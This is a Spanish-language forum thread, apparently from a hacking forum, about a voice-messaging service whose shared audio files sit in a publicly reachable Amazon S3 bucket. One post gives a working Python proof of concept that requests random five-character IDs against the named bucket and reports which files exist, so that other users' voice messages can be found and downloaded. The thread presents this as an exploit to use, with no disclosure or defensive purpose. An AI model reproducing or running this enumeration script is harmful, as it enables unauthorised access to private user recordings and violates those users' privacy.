No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tambien se puede usar wget de forma recursiva, pero...
Tengo una novedad @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Los mp3 no vienen de: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta sino de un bucket de Amazon
Este es el Bucket xD: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pueden explotarlo haciendo los 2 tipos de tecnicas que dicen uds o usar bing o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
tendran 14 audios.
Saludos colegas
Exacto.
Funciona de una manera muy simple:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<id>
Devuelve un 200 OK si hay archivo de audio, y un 403 Forbidden si no hay archivo.
Los IDs, aparentemente, tienen una longitud de entre 5 y 13 caracteres alfanuméricos en mayúsculas y minúsculas.
Este es un pequeño PoC para encontrar archivos de forma aleatoria con solo 5 caracteres de longitud.
import requests
import random
def random_string():
return "".join([random.choice("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM") for _ in range(5)])
for x in range(500):
a = random_string()
req = requests.get("https://s3.amazonaws.com/zello.sharedmessages/" + a, headers={'User-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0'})
if req.status_code == 200:
print a + " existe. - - - - - - - - - - - - -"
else:
print a + " no existe. -> " + str(req.status_code)Y funciona tal que así.
